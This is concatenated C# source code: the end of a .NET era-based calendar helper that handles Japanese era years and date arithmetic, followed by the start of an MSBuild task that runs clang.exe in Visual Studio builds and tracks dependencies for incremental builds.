= m_Cal.MinSupportedDateTime; m_maxYear = m_EraInfo[0].maxEraYear; m_minYear = m_EraInfo[0].minEraYear;; } /*=================================GetGregorianYear========================== **Action: Get the Gregorian year value for the specified year in an era. **Returns: The Gregorian year value. **Arguments: ** year the year value in Japanese calendar ** era the Japanese emperor era value. **Exceptions: ** ArgumentOutOfRangeException if year value is invalid or era value is invalid. ============================================================================*/ internal int GetGregorianYear(int year, int era) { if (year < 0) { throw new ArgumentOutOfRangeException("year", Environment.GetResourceString("ArgumentOutOfRange_NeedNonNegNum")); } Contract.EndContractBlock(); if (era == Calendar.CurrentEra) { era = m_Cal.CurrentEraValue; } for (int i = 0; i < m_EraInfo.Length; i++) { if (era == m_EraInfo[i].era) { if (year < m_EraInfo[i].minEraYear || year > m_EraInfo[i].maxEraYear) { throw new ArgumentOutOfRangeException( "year", String.Format( CultureInfo.CurrentCulture, Environment.GetResourceString("ArgumentOutOfRange_Range"), m_EraInfo[i].minEraYear, m_EraInfo[i].maxEraYear)); } return (m_EraInfo[i].yearOffset + year); } } throw new ArgumentOutOfRangeException("era", Environment.GetResourceString("ArgumentOutOfRange_InvalidEraValue")); } internal bool IsValidYear(int year, int era) { if (year < 0) { return false; } if (era == Calendar.CurrentEra) { era = m_Cal.CurrentEraValue; } for (int i = 0; i < m_EraInfo.Length; i++) { if (era == m_EraInfo[i].era) { if (year < m_EraInfo[i].minEraYear || year > m_EraInfo[i].maxEraYear) { return false; } return true; } } return false; } // Returns a given date part of this DateTime. This method is used // to compute the year, day-of-year, month, or day part. internal virtual int GetDatePart(long ticks, int part) { CheckTicksRange(ticks); // n = number of days since 1/1/0001 int n = (int)(ticks / TicksPerDay); // y400 = number of whole 400-year periods since 1/1/0001 int y400 = n / DaysPer400Years; // n = day number within 400-year period n -= y400 * DaysPer400Years; // y100 = number of whole 100-year periods within 400-year period int y100 = n / DaysPer100Years; // Last 100-year period has an extra day, so decrement result if 4 if (y100 == 4) y100 = 3; // n = day number within 100-year period n -= y100 * DaysPer100Years; // y4 = number of whole 4-year periods within 100-year period int y4 = n / DaysPer4Years; // n = day number within 4-year period n -= y4 * DaysPer4Years; // y1 = number of whole years within 4-year period int y1 = n / DaysPerYear; // Last year has an extra day, so decrement result if 4 if (y1 == 4) y1 = 3; // If year was requested, compute and return it if (part == DatePartYear) { return (y400 * 400 + y100 * 100 + y4 * 4 + y1 + 1); } // n = day number within year n -= y1 * DaysPerYear; // If day-of-year was requested, return it if (part == DatePartDayOfYear) { return (n + 1); } // Leap year calculation looks different from IsLeapYear since y1, y4, // and y100 are relative to year 1, not year 0 bool leapYear = (y1 == 3 && (y4 != 24 || y100 == 3)); int[] days = leapYear? DaysToMonth366: DaysToMonth365; // All months have less than 32 days, so n >> 5 is a good conservative // estimate for the month int m = n >> 5 + 1; // m = 1-based month number while (n >= days[m]) m++; // If month was requested, return it if (part == DatePartMonth) return (m); // Return 1-based day-of-month return (n - days[m - 1] + 1); } /*=================================GetAbsoluteDate========================== **Action: Gets the absolute date for the given Gregorian date. The absolute date means ** the number of days from January 1st, 1 A.D. **Returns: the absolute date **Arguments: ** year the Gregorian year ** month the Gregorian month ** day the day **Exceptions: ** ArgumentOutOfRangException if year, month, day value is valid. **Note: ** This is an internal method used by DateToTicks() and the calculations of Hijri and Hebrew calendars. ** Number of Days in Prior Years (both common and leap years) + ** Number of Days in Prior Months of Current Year + ** Number of Days in Current Month ** ============================================================================*/ internal static long GetAbsoluteDate(int year, int month, int day) { if (year >= 1 && year <= 9999 && month >= 1 && month <= 12) { int[] days = ((year % 4 == 0 && (year % 100 != 0 || year % 400 == 0))) ? DaysToMonth366: DaysToMonth365; if (day >= 1 && (day <= days[month] - days[month - 1])) { int y = year - 1; int absoluteDate = y * 365 + y / 4 - y / 100 + y / 400 + days[month - 1] + day - 1; return (absoluteDate); } } throw new ArgumentOutOfRangeException(null, Environment.GetResourceString("ArgumentOutOfRange_BadYearMonthDay")); } // Returns the tick count corresponding to the given year, month, and day. // Will check the if the parameters are valid. internal static long DateToTicks(int year, int month, int day) { return (GetAbsoluteDate(year, month, day)* TicksPerDay); } // Return the tick count corresponding to the given hour, minute, second. // Will check the if the parameters are valid. internal static long TimeToTicks(int hour, int minute, int second, int millisecond) { //TimeSpan.TimeToTicks is a family access function which does no error checking, so //we need to put some error checking out here. if (hour >= 0 && hour < 24 && minute >= 0 && minute < 60 && second >=0 && second < 60) { if (millisecond < 0 || millisecond >= MillisPerSecond) { throw new ArgumentOutOfRangeException( "millisecond", String.Format( CultureInfo.CurrentCulture, Environment.GetResourceString("ArgumentOutOfRange_Range"), 0, MillisPerSecond - 1)); } return (TimeSpan.TimeToTicks(hour, minute, second) + millisecond * TicksPerMillisecond);; } throw new ArgumentOutOfRangeException(null, Environment.GetResourceString("ArgumentOutOfRange_BadHourMinuteSecond")); } internal void CheckTicksRange(long ticks) { if (ticks < m_Cal.MinSupportedDateTime.Ticks || ticks > m_Cal.MaxSupportedDateTime.Ticks) { throw new ArgumentOutOfRangeException( "time", String.Format( CultureInfo.InvariantCulture, Environment.GetResourceString("ArgumentOutOfRange_CalendarRange"), m_Cal.MinSupportedDateTime, m_Cal.MaxSupportedDateTime)); } Contract.EndContractBlock(); } // Returns the DateTime resulting from adding the given number of // months to the specified DateTime. The result is computed by incrementing // (or decrementing) the year and month parts of the specified DateTime by // value months, and, if required, adjusting the day part of the // resulting date downwards to the last day of the resulting month in the // resulting year. The time-of-day part of the result is the same as the // time-of-day part of the specified DateTime. // // In more precise terms, considering the specified DateTime to be of the // form y / m / d + t, where y is the // year, m is the month, d is the day, and t is the // time-of-day, the result is y1 / m1 / d1 + t, // where y1 and m1 are computed by adding value months // to y and m, and d1 is the largest value less than // or equal to d that denotes a valid day in month m1 of year // y1. // public DateTime AddMonths(DateTime time, int months) { if (months < -120000 || months > 120000) { throw new ArgumentOutOfRangeException( "months", String.Format( CultureInfo.CurrentCulture, Environment.GetResourceString("ArgumentOutOfRange_Range"), -120000, 120000)); } Contract.EndContractBlock(); CheckTicksRange(time.Ticks); int y = GetDatePart(time.Ticks, DatePartYear); int m = GetDatePart(time.Ticks, DatePartMonth); int d = GetDatePart(time.Ticks, DatePartDay); int i = m - 1 + months; if (i >= 0) { m = i % 12 + 1; y = y + i / 12; } else { m = 12 + (i + 1) % 12; y = y + (i - 11) / 12; } int[] daysArray = (y % 4 == 0 && (y % 100 != 0 || y % 400 == 0)) ? DaysToMonth366: DaysToMonth365; int days = (daysArray[m] - daysArray[m - 1]); if (d > days) { d = days; } long ticks = DateToTicks(y, m, d) + (time.Ticks % TicksPerDay); Calendar.CheckAddResult(ticks, m_Cal.MinSupportedDateTime, m_Cal.MaxSupportedDateTime); return (new DateTime(ticks)); } // Returns the DateTime resulting from adding the given number of // years to the specified DateTime. The result is computed by incrementing // (or decrementing) the year part of the specified DateTime by value // years. If the month and day of the specified DateTime is 2/29, and if the // resulting year is not a leap year, the month and day of the resulting // DateTime becomes 2/28. Otherwise, the month, day, and time-of-day // parts of the result are the same as those of the specified DateTime. // public DateTime AddYears(DateTime time, int years) { return (AddMonths(time, years * 12)); } // Returns the day-of-month part of the specified DateTime. The returned // value is an integer between 1 and 31. // public int GetDayOfMonth(DateTime time) { return (GetDatePart(time.Ticks, DatePartDay)); } // Returns the day-of-week part of the specified DateTime. The returned value // is an integer between 0 and 6, where 0 indicates Sunday, 1 indicates // Monday, 2 indicates Tuesday, 3 indicates Wednesday, 4 indicates // Thursday, 5 indicates Friday, and 6 indicates Saturday. // public DayOfWeek GetDayOfWeek(DateTime time) { CheckTicksRange(time.Ticks); return ((DayOfWeek)((time.Ticks / TicksPerDay + 1) % 7)); } // Returns the day-of-year part of the specified DateTime. The returned value // is an integer between 1 and 366. // public int GetDayOfYear(DateTime time) { return (GetDatePart(time.Ticks, DatePartDayOfYear)); } // Returns the number of days in the month given by the year and // month arguments. // [Pure] public int GetDaysInMonth(int year, int month, int era) { // // Convert year/era value to Gregorain year value. // year = GetGregorianYear(year, era); if (month < 1 || month > 12) { throw new ArgumentOutOfRangeException("month", Environment.GetResourceString("ArgumentOutOfRange_Month")); } int[] days = ((year % 4 == 0 && (year % 100 != 0 || year % 400 == 0)) ? DaysToMonth366: DaysToMonth365); return (days[month] - days[month - 1]); } // Returns the number of days in the year given by the year argument for the current era. // public int GetDaysInYear(int year, int era) { // // Convert year/era value to Gregorain year value. // year = GetGregorianYear(year, era); return ((year % 4 == 0 && (year % 100 != 0 || year % 400 == 0)) ? 366:365); } // Returns the era for the specified DateTime value. public int GetEra(DateTime time) { long ticks = time.Ticks; // The assumption here is that m_EraInfo is listed in reverse order. for (int i = 0; i < m_EraInfo.Length; i++) { if (ticks >= m_EraInfo[i].ticks) { return (m_EraInfo[i].era); } } throw new ArgumentOutOfRangeException(Environment.GetResourceString("ArgumentOutOfRange_Era")); } public int[] Eras { get { if (m_eras == null) { m_eras = new int[m_EraInfo.Length]; for (int i = 0; i < m_EraInfo.Length; i++) { m_eras[i] = m_EraInfo[i].era; } } return ((int[])m_eras.Clone()); } } // Returns the month part of the specified DateTime. The returned value is an // integer between 1 and 12. // public int GetMonth(DateTime time) { return (GetDatePart(time.Ticks, DatePartMonth)); } // Returns the number of months in the specified year and era. public int GetMonthsInYear(int year, int era) { year = GetGregorianYear(year, era); return (12); } // Returns the year part of the specified DateTime. The returned value is an // integer between 1 and 9999. // public int GetYear(DateTime time) { long ticks = time.Ticks; int year = GetDatePart(ticks, DatePartYear); for (int i = 0; i < m_EraInfo.Length; i++) { if (ticks >= m_EraInfo[i].ticks) { return (year - m_EraInfo[i].yearOffset); } } throw new ArgumentException(Environment.GetResourceString("Argument_NoEra")); } // Returns the year that match the specified Gregorian year. The returned value is an // integer between 1 and 9999. // public int GetYear(int year, DateTime time) { long ticks = time.Ticks; for (int i = 0; i < m_EraInfo.Length; i++) { if (ticks >= m_EraInfo[i].ticks) { return (year - m_EraInfo[i].yearOffset); } } throw new ArgumentException(Environment.GetResourceString("Argument_NoEra")); } // Checks whether a given day in the specified era is a leap day. This method returns true if // the date is a leap day, or false if not. // public bool IsLeapDay(int year, int month, int day, int era) { // year/month/era checking is done in GetDaysInMonth() if (day < 1 || day > GetDaysInMonth(year, month, era)) { throw new ArgumentOutOfRangeException( "day", String.Format( CultureInfo.CurrentCulture, Environment.GetResourceString("ArgumentOutOfRange_Range"), 1, GetDaysInMonth(year, month, era))); } Contract.EndContractBlock(); if (!IsLeapYear(year, era)) { return (false); } if (month == 2 && day == 29) { return (true); } return (false); } // Returns the leap month in a calendar year of the specified era. This method returns 0 // if this calendar does not have leap month, or this year is not a leap year. // public int GetLeapMonth(int year, int era) { year = GetGregorianYear(year, era); return (0); } // Checks whether a given month in the specified era is a leap month. This method returns true if // month is a leap month, or false if not. // public bool IsLeapMonth(int year, int month, int era) { year = GetGregorianYear(year, era); if (month < 1 || month > 12) { throw new ArgumentOutOfRangeException( "month", String.Format( CultureInfo.CurrentCulture, Environment.GetResourceString("ArgumentOutOfRange_Range"), 1, 12)); } return (false); } // Checks whether a given year in the specified era is a leap year. This method returns true if // year is a leap year, or false if not. // public bool IsLeapYear(int year, int era) { year = GetGregorianYear(year, era); return (year % 4 == 0 && (year % 100 != 0 || year % 400 == 0)); } // Returns the date and time converted to a DateTime value. Throws an exception if the n-tuple is invalid. // public DateTime ToDateTime(int year, int month, int day, int hour, int minute, int second, int millisecond, int era) { year = GetGregorianYear(year, era); long ticks = DateToTicks(year, month, day) + TimeToTicks(hour, minute, second, millisecond); CheckTicksRange(ticks); return (new DateTime(ticks)); } public virtual int GetWeekOfYear(DateTime time, CalendarWeekRule rule, DayOfWeek firstDayOfWeek) { CheckTicksRange(time.Ticks); // Use GregorianCalendar to get around the problem that the implmentation in Calendar.GetWeekOfYear() // can call GetYear() that exceeds the supported range of the Gregorian-based calendars. return (GregorianCalendar.GetDefaultInstance().GetWeekOfYear(time, rule, firstDayOfWeek)); } public int ToFourDigitYear(int year, int twoDigitYearMax) { if (year < 0) { throw new ArgumentOutOfRangeException("year", Environment.GetResourceString("ArgumentOutOfRange_NeedPosNum")); } Contract.EndContractBlock(); if (year < 100) { int y = year % 100; return ((twoDigitYearMax/100 - ( y > twoDigitYearMax % 100 ? 1 : 0))*100 + y); } if (year < m_minYear || year > m_maxYear) { throw new ArgumentOutOfRangeException( "year", String.Format( CultureInfo.CurrentCulture, Environment.GetResourceString("ArgumentOutOfRange_Range"), m_minYear, m_maxYear)); } // If the year value is above 100, just return the year value. Don't have to do // the TwoDigitYearMax comparison. return (year); } } }
using System; using System.Collections.Generic; using System.Linq; using System.Text; using Microsoft.Build.Utilities; using Microsoft.Build.Framework; using System.Runtime.Serialization; using System.IO; using System.Text.RegularExpressions; using System.Reflection; using System.Diagnostics; using Microsoft.Win32; using System.Threading; using System.Globalization; using System.Threading.Tasks; namespace ClangCompile { public static class StringSplitter { public static IEnumerable<string> Split(this string str, Func<char, bool> controller) { int nextPiece = 0; for (int c = 0; c < str.Length; c++) { if (controller(str[c])) { yield return str.Substring(nextPiece, c - nextPiece); nextPiece = c + 1; } } yield return str.Substring(nextPiece); } public static IEnumerable<string> SplitCommandLine(string commandLine) { bool inQuotes = false; return commandLine.Split(c => { if (c == '\"') inQuotes = !inQuotes; return !inQuotes && c == ' '; }) .Select(arg => arg.Trim()) .Where(arg => !string.IsNullOrEmpty(arg)); } } [Rule(Name="Clang", PageTemplate="tool", DisplayName="Clang", Order="200")] [DataSource(Persistence="ProjectFile", ItemType="ClangCompile")] [PropertyCategory(Name="General", DisplayName="General", Order = 0)] [PropertyCategory(Name = "Paths", DisplayName = "Paths", Order = 1)] [PropertyCategory(Name = "Language", DisplayName = "Language", Order = 2)] [PropertyCategory(Name = "Preprocessor", DisplayName = "Preprocessor", Order = 3)] [PropertyCategory(Name = "All Options", DisplayName = "All Options", Subtype = "Search", Order = 4)] [PropertyCategory(Name = "Command Line", DisplayName = "Command Line", Subtype = "CommandLine", Order = 5)] [FileExtension(Name="*.c", ContentType="ClangCpp")] [FileExtension(Name="*.cpp", ContentType="ClangCpp")] [FileExtension(Name="*.cc", ContentType="ClangCpp")] [FileExtension(Name="*.cxx", ContentType="ClangCpp")] [FileExtension(Name="*.m", ContentType="ClangObjCpp")] [FileExtension(Name="*.mm", ContentType="ClangObjCpp")] [ItemType(Name="ClangCompile", DisplayName="Clang source")] [ContentType(Name="ClangCpp", DisplayName="Clang C/C++", ItemType="ClangCompile")] [ContentType(Name = "ClangObjCpp", DisplayName = "Clang Objective C/C++", ItemType = "ClangCompile")] public class Clang : ToolTask { /// <summary> /// This class holds an item to be compiled by clang. /// </summary> class ClangItem { private Clang clangTask = null; private List<string> stdOut; private List<string> stdErr; public ITaskItem Item { get; private set; } public string ObjFileName { get; private set; } public string DepFileName { get; private set; } public string CommandLine { get; private set; } public int ExitCode { get; private set; } public ClangItem(Clang clangTask, ITaskItem item, string objFileName, string depFileName, string commandLine) { this.clangTask = clangTask; this.Item = item; this.ObjFileName = objFileName; this.DepFileName = depFileName; this.CommandLine = commandLine; this.stdOut = new List<string>(); this.stdErr = new List<string>(); } public void RunClang(string executable) { ProcessStartInfo startInfo = new ProcessStartInfo(); startInfo.CreateNoWindow = true; startInfo.FileName = executable; startInfo.Arguments = this.CommandLine; startInfo.UseShellExecute = false; startInfo.RedirectStandardOutput = true; startInfo.RedirectStandardError = true; string stdOutString = null; string stdErrString = null; Process process = Process.Start(startInfo); // Wait for the program to complete as we record all of its StdOut and StdErr Parallel.Invoke( () => { stdOutString = process.StandardOutput.ReadToEnd(); }, () => { stdErrString = process.StandardError.ReadToEnd(); } ); process.WaitForExit(); ExitCode = process.ExitCode; if (!string.IsNullOrEmpty(stdOutString)) { this.stdOut = (stdOutString.Split(new char[] { '\n', '\r' }, StringSplitOptions.RemoveEmptyEntries)).ToList(); } if (!string.IsNullOrEmpty(stdErrString)) { this.stdErr = (stdErrString.Split(new char[] { '\n', '\r' }, StringSplitOptions.RemoveEmptyEntries)).ToList(); } } public void LogOutput() { clangTask.LogEventsFromTextOutput(this.Item.ItemSpec, MessageImportance.High); for (int i = 0; i < this.stdOut.Count; i++) { clangTask.LogEventsFromTextOutput(this.stdOut[i], MessageImportance.Normal); } for (int i = 0; i < this.stdErr.Count; i++) { clangTask.LogEventsFromTextOutput(this.stdErr[i], MessageImportance.Normal); } } } // This is only used to output our .tlog files at a logical time, after the end of a build. class TLogWriter : IDisposable { public readonly static string cacheKey = "ClangTaskTLogWriter"; // Tracker has an AppDomain lifetime, so our cache should never be deleted before it. DependencyTracker tracker; public TLogWriter(DependencyTracker t) { tracker = t; } public void Dispose() { foreach (var file in tracker.cachedTlogMaps) { StreamWriter sw = null; try { // Write all the tlog files out to disk. sw = new StreamWriter(File.Open(file.Key, FileMode.Create)); foreach (var val in file.Value) { sw.WriteLine("^" + val.Key); foreach (string line in val.Value) { sw.WriteLine(line); } } sw.Close(); } catch (Exception) { Debug.WriteLine("Error writing TLog file: {0}", (object)file.Key); if (sw != null) { sw.Close(); } } } } } DependencyTracker Tracker { get { if (BuildEngine4 != null) { tracker = (DependencyTracker)BuildEngine4.GetRegisteredTaskObject(DependencyTracker.cacheKey, RegisteredTaskObjectLifetime.AppDomain); } if (tracker == null) { tracker = new DependencyTracker(); if (BuildEngine4 != null) { BuildEngine4.RegisterTaskObject(DependencyTracker.cacheKey, tracker, RegisteredTaskObjectLifetime.AppDomain, false); } } return tracker; } } TLogWriter TLogs { get { if (BuildEngine4 != null) { tlogWriter = (TLogWriter)BuildEngine4.GetRegisteredTaskObject(TLogWriter.cacheKey, RegisteredTaskObjectLifetime.Build); } if (tlogWriter == null) { tlogWriter = new TLogWriter(Tracker); if (BuildEngine4 != null) { BuildEngine4.RegisterTaskObject(TLogWriter.cacheKey, tlogWriter, RegisteredTaskObjectLifetime.Build, false); } } return tlogWriter; } } TLogWriter tlogWriter; static DependencyTracker tracker; // CanonicalTrackedInputFiles' caching behaviour isn't good enough. Visual Studio watches the filesystem // with vigour, so we'll do the same thing. // This has an app object lifetime, so from Visual Studio our incremental builds will be fast, but commandline // builds with be comparable to CL. class DependencyTracker { public static readonly string cacheKey = "ClangCompileDependencyTracker"; public Dictionary<string, Dictionary<string, List<string>>> cachedTlogMaps = new Dictionary<string, Dictionary<string, List<string>>>(); // Only use canonical paths please. DateTime GetModDate(string path) { if (!cachedFileModDates.ContainsKey(path)) { try { // Todo: Consider moving to using directories instead? FileSystemWatcher w = new FileSystemWatcher(Path.GetDirectoryName(path), Path.GetFileName(path)); w.Changed += WatchedFileChanged; w.Renamed += WatchedFileRenamed; w.Deleted += WatchedFileDeleted; w.EnableRaisingEvents = true; watcher.Add(w); cachedFileModDates[path] = File.GetLastWriteTime(path); } catch (Exception) { // File likely doesn't exist, possibly from an old .tlog, or a moved project. // The watcher likely died at this point, so don't cache the date, since we'll probably want to retry later. return DateTime.MinValue; } } return cachedFileModDates[path]; } void WatchedFileRenamed(object sender, RenamedEventArgs e) { GetModDate(e.FullPath); // Track the 'new' file SetOutOfDate(e.FullPath); SetOutOfDate(e.OldFullPath); } void WatchedFileDeleted(object sender, FileSystemEventArgs e) { SetOutOfDate(e.FullPath); needsRebuilding[e.FullPath] = true; } void WatchedFileChanged(object sender, FileSystemEventArgs e) { switch(e.ChangeType) { case WatcherChangeTypes.Created: GetModDate(e.FullPath); // Track the new file SetOutOfDate(e.FullPath); break; case WatcherChangeTypes.Changed: SetOutOfDate(e.FullPath); break; default: // see w_Renamed break; } } public void SetDependencies(string source, List<string> deps) { dependencies.Remove(source); dependencies[source] = deps; GetModDate(source); // Start tracking the files // Clear old updates foreach (List<string> updateList in updates.Values) { updateList.Remove(source); } // Add them back foreach (var dep in deps) { if (!updates.Keys.Contains(dep)) { updates[dep] = new List<string>(); } GetModDate(dep); updates[dep].Add(source); } } public void SetUpToDate(string file, bool upToDate = true) { needsRebuilding[file] = !upToDate; } void SetOutOfDate(string file, int nTries = 2) { List<string> updateList; if (nTries > 0 && updates.TryGetValue(file, out updateList)) { foreach (string updFile in updateList) { needsRebuilding[updFile] = true; SetOutOfDate(updFile, --nTries); } } } DateTime GetNewestInTreeInner(string file, int nTries = 2) { DateTime newest = GetModDate(file); List<string> deps; if (nTries > 0 && dependencies.TryGetValue(file, out deps)) { foreach (string depFile in deps) { DateTime depMod = GetNewestInTreeInner(depFile, --nTries); if (depMod > newest) { newest = depMod; } } } return newest; } DateTime GetNewestInTree(string file) { DateTime newest = DateTime.MinValue; List<string> deps; if (dependencies.TryGetValue(file, out deps)) { foreach (string depFile in deps) { DateTime depMod = GetNewestInTreeInner(depFile); if (depMod > newest) { newest = depMod; } } } return newest; } public bool OutOfDate(string file) { bool ret; if (needsRebuilding.TryGetValue(file, out ret)) { return ret; } if (!File.Exists(file)) { return true; } DateTime fileModDate; DateTime newestModDate; try { fileModDate = GetModDate(file); newestModDate = GetNewestInTree(file); } catch (Exception) { // FileNotFoundException is never thrown, it just returns 00:00/1/1/1601 UTC needsRebuilding[file] = true; return true; } if (fileModDate > newestModDate) { needsRebuilding[file] = false; return false; } needsRebuilding[file] = true; return true; } List<FileSystemWatcher> watcher = new List<FileSystemWatcher>(); Dictionary<string, DateTime> cachedFileModDates = new Dictionary<string,DateTime>(); Dictionary<string, List<string>> dependencies = new Dictionary<string, List<string>>(); Dictionary<string, List<string>> updates = new Dictionary<string,List<string>>(); // Bottom up view of dependencies. Dictionary<string, bool> needsRebuilding = new Dictionary<string, bool>(); } #region Private and utils void LogMessage(MessageImportance importance, string message, params object[] list) { #if !LOWLEVEL_DEBUG if(importance == MessageImportance.High) #endif { if (BuildEngine4 != null) { Log.LogMessage(importance, message, list); } } } void LogWarning(string message, params object[] list) { if (BuildEngine4 != null) { Log.LogWarning(message, list); } } string DecorateFile(string path, string extension) { return Path.GetFileNameWithoutExtension(path) + "_" + Path.GetFullPath(path).GetHashCode().ToString("X") + extension; } string GetSpecial(string name, object value, ITaskItem input) { // ToLower is affected by localization. Need to be careful here. name = name.ToLower(new CultureInfo("en-US", false)); if (value == null) { if (name == "inputfilename") { return Path.GetFileName(input.ItemSpec); } else if (name == "inputabsdir") { return Path.GetDirectoryName(Path.GetFullPath(input.ToString())); } else if (name == "dependencyfile") { return GetSpecial("objectfilename", ObjectFileName, input) + ".d"; } } if (name == "objectfilename") { if (value.ToString().Last() == '\\' || value.ToString().Last() == '/') { return value + DecorateFile(input.ItemSpec, ".obj"); } } else if (name == "input") { return GetFullPath(input.ToString()); } return value == null ? null : value.ToString(); } static string GetFullPath(string path) { if (path == null || path == "") { return ""; } // Clang is not erroneously escaping quotes... per se. Windows allows quotes in filenames, but trims trailing whitespace. // eg. "C:\SomeDir\"SomeFile"" is a valid path. For clang to accept it you'd have to escape the filename quotes to "C:\SomeDir\\"SomeFile\"" // "C:\SomeDir\" is not valid, since it thinks you're trying to refer to a file in SomeDir by the name of " [and subsequent arguments since we didn't match the quote] string fullPath = Path.GetFullPath(path); if (fullPath.EndsWith("\\")) { fullPath = fullPath.Substring(0, fullPath.Length - 1); } return "\"" + fullPath + "\""; } string GetClangExe() { return LLVMDirectory + @"\bin\clang.exe"; } string GetClangResourceDir() { return LLVMDirectory + @"\lib\clang\" + LLVMClangVersion; } #endregion #region MSBuild Properties [PropertyPage(Visible = false, IncludeInCommandLine = false)] public string LLVMClangVersion { get { if(LLVMClangVersionValue == null || LLVMClangVersionValue == "") { LogMessage(MessageImportance.Low, "Clang exe: {0}", GetClangExe()); ProcessStartInfo clangPsi = new ProcessStartInfo(GetClangExe(), @"-v"); Process clangVersionProc = new Process(); clangPsi.CreateNoWindow = true; clangPsi.RedirectStandardError = true; clangPsi.UseShellExecute = false; clangVersionProc.StartInfo = clangPsi; clangVersionProc.Start(); clangVersionProc.WaitForExit(); string versionString = clangVersionProc.StandardError.ReadToEnd(); LogMessage(MessageImportance.Low, "Clang version: {0}", versionString); // clang's version output: clang with Microsoft CodeGen version <version number> string version = versionString.Split(' ')[5]; LLVMClangVersion = version; } return LLVMClangVersionValue; } set { LLVMClangVersionValue = value; } } static string LLVMClangVersionValue; [PropertyPage(Visible = false, IncludeInCommandLine = false)] public string LLVMResourceDir { get { if (LLVMResourceDirValue == null || LLVMResourceDirValue == "") { LLVMResourceDirValue = GetClangResourceDir(); } return LLVMResourceDirValue; } set { LLVMResourceDirValue = value; } } string LLVMResourceDirValue; [Required] [PropertyPage(Visible = false, IncludeInCommandLine = false)] public string CommandTLogFile { get; set; } [Required] [PropertyPage(Visible = false, IncludeInCommandLine = false)] public string ProjectFile { get; set; } [Required] [PropertyPage(Visible = false, IncludeInCommandLine = false)] public string ReadTLogFile { get; set; } [Required] [PropertyPage( Category = "Command Line", Switch = "-c ", Visible = false)] [DataSource( Persistence = "ProjectFile", ItemType = "ClangCompile", SourceType = "Item")] public ITaskItem[] Input { get; set; } // Don't build the outputs, just create the output items. public bool Autocomplete { get; set; } public enum HeaderMapEnum { [Field(DisplayName="Disabled", Description="Disable use of header maps.")] Disabled, [Field(DisplayName="Project", Description="User a header map containing all headers in the VS project.")] Project, [Field(DisplayName = "Combined", Description = "User a header map containing all headers in the VS project, as well as any headers found in the same directory as the source files being compiled.")] Combined, } [PropertyPage( Category = "General", Description = "Specify type of header map to use.", DisplayName = "Use Header Map", IncludeInCommandLine = false)] [EnumeratedValue(Enumeration = typeof(HeaderMapEnum))] public string HeaderMap { get { return HeaderMapValue.ToString(); } set { HeaderMapValue = (HeaderMapEnum)Enum.Parse(typeof(HeaderMapEnum), value, true); } } HeaderMapEnum HeaderMapValue; [PropertyPage( DisplayName = "Framework-style header map entries", Description = "Add framework-style entries to header map.", Category = "General", IncludeInCommandLine = false)] public bool HeaderMapAddFrameworkEntries { get; set; } [PropertyPage( Category = "General", DisplayName = "Header Map Include", Description = "Header Map Include", Visible = false)] public string HeaderMapInclude { get; set; } public enum RuntimeLibraryEnum { [Field(DisplayName = "Multi-threaded", Description = "Causes your application to use the multithread, static version of the run-time library.", Switch = "-D_MT -Xclang --dependent-lib=libcmt -Xclang --dependent-lib=oldnames")] MultiThreaded, [Field(DisplayName = "Multi-threaded Debug", Description = "Defines _DEBUG and _MT. This option also causes the compiler to place the library name LIBCMTD.lib into the .obj file so that the linker will use LIBCMTD.lib to resolve external symbols.", Switch= "-D_DEBUG -D_MT -Xclang --dependent-lib=libcmtd -Xclang --dependent-lib=oldnames")] MultiThreadedDebug, [Field(DisplayName = "Multi-threaded DLL", Description = "Causes your application to use the multithread- and DLL-specific version of the run-time library. Defines _MT and _DLL and causes the compiler to place the library name MSVCRT.lib into the .obj file.", Switch = "-D_MT -D_DLL -Xclang --dependent-lib=msvcrt -Xclang --dependent-lib=oldnames")] MultiThreadedDLL, [Field(DisplayName = "Multi-threaded Debug DLL", Description = "Defines _DEBUG, _MT, and _DLL and causes your application to use the debug multithread- and DLL-specific version of the run-time library. It also causes the compiler to place the library name MSVCRTD.lib into the .obj file.", Switch = "-D_DEBUG -D_MT -D_DLL -Xclang --dependent-lib=msvcrtd -Xclang --dependent-lib=oldnames")] MultiThreadedDebugDLL } [PropertyPage( Category = "General", Description = "Specify runtime library for linking.", DisplayName = "Runtime Library")] [EnumeratedValue(Enumeration = typeof(RuntimeLibraryEnum))] public string RuntimeLibrary { get { return RuntimeLibraryValue.ToString(); } set { RuntimeLibraryValue = (RuntimeLibraryEnum)Enum.Parse(typeof(RuntimeLibraryEnum), value, true); } } RuntimeLibraryEnum RuntimeLibraryValue; public enum OptimizationLevelEnum { [Field(Switch="-O0", DisplayName="Disabled", Description="Disable optimization.")] Disabled, [Field(Switch="-Os", DisplayName="Optimize for size", Description="Medium level, with extra optimizations to reduce code size.")] MinSpace, [Field(Switch="-O2", DisplayName="Optimize for speed", Description="More optimizations.")] MaxSpeed, [Field(Switch="-O3", DisplayName="Maximum optimizations", Description="Even more optimizations.")] Full } [PropertyPage( Category="General", DisplayName="Optimization Level", Description="Select option for code optimization.")] [EnumeratedValue(Enumeration = typeof(OptimizationLevelEnum))] public string OptimizationLevel { get { return OptimizationLevelValue.ToString(); } set { OptimizationLevelValue = (OptimizationLevelEnum)Enum.Parse(typeof(OptimizationLevelEnum), value, true); } } OptimizationLevelEnum OptimizationLevelValue; [PropertyPage( DisplayName = "Debug Information", Description = "Specifies whether to keep debug information.", Category = "General", Switch = "-g")] public bool DebugInformation { get; set; } [PropertyPage( DisplayName = "Enable Exceptions", Description = "Specifies exception handling model to be used by the compiler for (Objective-)C++.", Category = "General", Switch = "-fexceptions")] public bool ExceptionHandling { get; set; } [PropertyPage( DisplayName = "Enable Objective-C ARC", Description = "Specifies whether to use Automatic Reference Counting.", Category = "General", Switch = "-fobjc-arc")] public bool ObjectiveCARC { get; set; } [PropertyPage( DisplayName = "Enable C and Objective-C Modules", Description = "Specifies whether to use Clang modules.", Category = "General", Switch = "-fmodules")] public bool ObjectiveCModules { get; set; } [PropertyPage( DisplayName = "Path to Objective-C modules", Description = "Path to the directory where the modules will be cached", Category = "General", Visible = false, Switch = "-fmodules-cache-path=")] [ResolvePath()] public string ObjectiveCModulesCachePath { get; set; } [PropertyPage( Category = "Paths", DisplayName = "Hidden SYSTEM include search paths", Description = "Hidden SYSTEM include search paths", Switch = "-isystem ", Visible = false)] [ResolvePath()] public string[] InternalSystemIncludePaths { get; set; } [PropertyPage( Category = "Paths", DisplayName = "Hidden include paths", Description = "Hidden include paths", Switch = "-I ", Visible = false)] [ResolvePath()] public string[] InternalIncludePaths { get; set; } [PropertyPage( Category = "Paths", DisplayName = "Hidden force inclusions", Description = "Hidden force inclusions", Switch = "-include ", Visible = false)] public string[] InternalForceIncludes { get; set; } [PropertyPage( Category = "Paths", DisplayName = "Excluded Search Path 